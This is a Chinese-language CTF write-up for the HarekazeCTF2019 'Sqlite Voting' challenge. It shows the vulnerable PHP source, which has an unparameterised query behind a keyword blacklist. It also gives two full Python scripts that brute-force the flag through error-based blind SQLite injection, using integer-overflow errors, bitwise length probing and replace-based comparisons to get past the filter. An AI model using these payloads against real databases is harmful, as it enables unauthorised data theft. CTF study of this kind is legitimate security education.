0x00 前言    最近尝试了一下SQLite注入。发现不同的数据库中的差距是真的很大。这里记录一下吧。
测试题目: [HarekazeCTF2019]Sqlite Voting
0x01 源码    题目是给了源码的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php error_reporting(0 ); if  (isset ($_GET['source' ])) {  show_source(__FILE__ );   exit (); } function  is_valid ($str)    $banword = [               "[\"%'*+\\/<=>\\\\_`~-]" ,          '\s' ,          'blob' , 'load_extension' , 'char' , 'unicode' ,     '(in|sub)str' , '[lr]trim' , 'like' , 'glob' , 'match' , 'regexp' ,     'in' , 'limit' , 'order' , 'union' , 'join'    ];   $regexp = '/'  . implode('|' , $banword) . '/i' ;   if  (preg_match($regexp, $str)) {     return  false ;   }   return  true ; } header("Content-Type: text/json; charset=utf-8" ); if  (!isset ($_POST['id' ]) || empty ($_POST['id' ])) {  die (json_encode(['error'  => 'You must specify vote id' ])); } $id = $_POST['id' ]; if  (!is_valid($id)) {  die (json_encode(['error'  => 'Vote id contains dangerous chars' ])); } $pdo = new  PDO('sqlite:../db/vote.db' ); $res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}" ); if  ($res === false ) {  die (json_encode(['error'  => 'An error occurred while updating database' ])); } echo  json_encode([  'message'  => 'Thank you for your vote! The result will be published after the CTF finished.'  ]); 
0x02 分析    这里的正则过滤了很多东西。\s过滤了所有的空白字符。过滤的东西有点离谱。<=>全都被过滤了,在mysql中可以使用regexp或者like来实现sql盲注。而在sqlite中没有这种阴间操作。我们要使用别的方法来实现sql注入。
    这里提出一个SQLite的特性。我们可以使用abs(0x8000000000000000)来爆出{"error":"An error occurred while updating database"}的错误。
PS:但是0x8000000000000000这个数字不能太大。如果太大的话,可能直接就会爆出错误,导致我们的语句一直执行不正确。
    这里提供一种非常阴间的方法:使用&操作符来一位一位的爆破。
    另外在无法确定回显的情况下,我们可以使用abs(0x8000000000000000)来爆出错误。同时使用case when then else end来完成。
    这里可以使用abs(case(length(hex(select(flag)from(flag)))&2)when(0)then(0)else(0x8000000000000000000000000)end)这种方式来判断flag的长度。
PS:这里重点提醒一下。在bp中要把&先编码。
    这里贴一下爆破脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import  binasciiimport  requestsURL = 'http://fb2c4efd-6de8-475a-b85c-c31505ea598e.node3.buuoj.cn/vote.php'  l = 0  i = 0  for  j in  range(16 ):    r = requests.post(URL, data={         'id' : f'abs(case(length(hex((select(flag)from(flag))))&{1  << j} )when(0)then(0)else(0x8000000000000000)end)'      })     if  b'An error occurred'  in  r.content:         l |= 1  << j print('[+] length:' , l) table = {} table['A' ] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'  table['C' ] = 'trim(hex(typeof(.1)),12567)'  table['D' ] = 'trim(hex(0xffffffffffffffff),123)'  table['E' ] = 'trim(hex(0.1),1230)'  table['F' ] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'  table['B' ] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C" ]} ||{table["F" ]} )'  res = binascii.hexlify(b'flag{' ).decode().upper() for  i in  range(len(res), l):    for  x in  '0123456789ABCDEF' :         t = '||' .join(c if  c in  '0123456789'  else  table[c] for  c in  res + x)         r = requests.post(URL, data={             'id' : f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t} ,trim(0,0))),{l} ,trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'          })         if  b'An error occurred'  in  r.content:             res += x             break      print(f'[+] flag ({i} /{l} ): {res} ' )     i += 1  print('[+] flag:' , binascii.unhexlify(res).decode()) 
    这里我们使用replace来判断十六进制的flag中是否有相同的字符。基本原理是用replace将已知的flag部分替换为空,通过长度变化与否一位一位爆出来。考虑下面的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 $ sqlite3 ︙ sqlite> create table flag (flag text); sqlite> insert into flag values ('HarekazeCTF{test}'); sqlite> select length(replace(flag, 'HarekazeCTF{a', '')) from flag; 17 sqlite> select length(replace(flag, 'HarekazeCTF{b', '')) from flag; 17 ︙ sqlite> select length(replace(flag, 'HarekazeCTF{s', '')) from flag; 17 sqlite> select length(replace(flag, 'HarekazeCTF{t', '')) from flag; 4 
    简单解释一下这个脚本的意思。其实||在SQLite中是链接的意思,这里还从原本的数据库中取出了A~F。但是其实不需要这样的,我们可以两次hex编码,这样就不会出现字母了。
    下面是我稍微修改之后的脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import  binasciiimport  requestsURL = 'http://9f623b32-d387-4db1-995d-6297852dd2bd.node3.buuoj.cn/vote.php'  l = 0  i = 0  for  j in  range(16 ):    r = requests.post(URL, data={         'id' : f'abs(case(length(hex(hex((select(flag)from(flag)))))&{1  << j} )when(0)then(0)else(0x8000000000000000)end)'      })     print(r.text)     if  b'An error occurred'  in  r.content:         l |= 1  << j print('[+] length:' , l) table = {} table['A' ] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'  table['C' ] = 'trim(hex(typeof(.1)),12567)'  table['D' ] = 'trim(hex(0xffffffffffffffff),123)'  table['E' ] = 'trim(hex(0.1),1230)'  table['F' ] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'  table['B' ] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C" ]} ||{table["F" ]} )'  res = binascii.hexlify(b'flag{' ).decode().upper() res = '36363643363136373742'  for  i in  range(len(res), l):    for  x in  '0123456789' :         t = '||' .join(c if  c in  '0123456789'  else  table[c] for  c in  res + x)         r = requests.post(URL, data={             'id' : f'abs(case(replace(length(replace(hex(hex((select(flag)from(flag)))),{t} ,trim(0,0))),{l} ,trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'          })         if  b'An error occurred'  in  r.content:             print(f'abs(case(replace(length(replace(hex(hex((select(flag)from(flag)))),{t} ,trim(0,0))),{l} ,trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)' )             res += x             break      print(f'[+] flag ({i} /{l} ): {res} ' )     i += 1  print('[+] flag:' , binascii.unhexlify(res).decode()) 
    会输出flag经过十六进制编码后的结果。
0x03 参考学习SQLite注入:
http://atta.cked.me/home/sqlite3injectioncheatsheet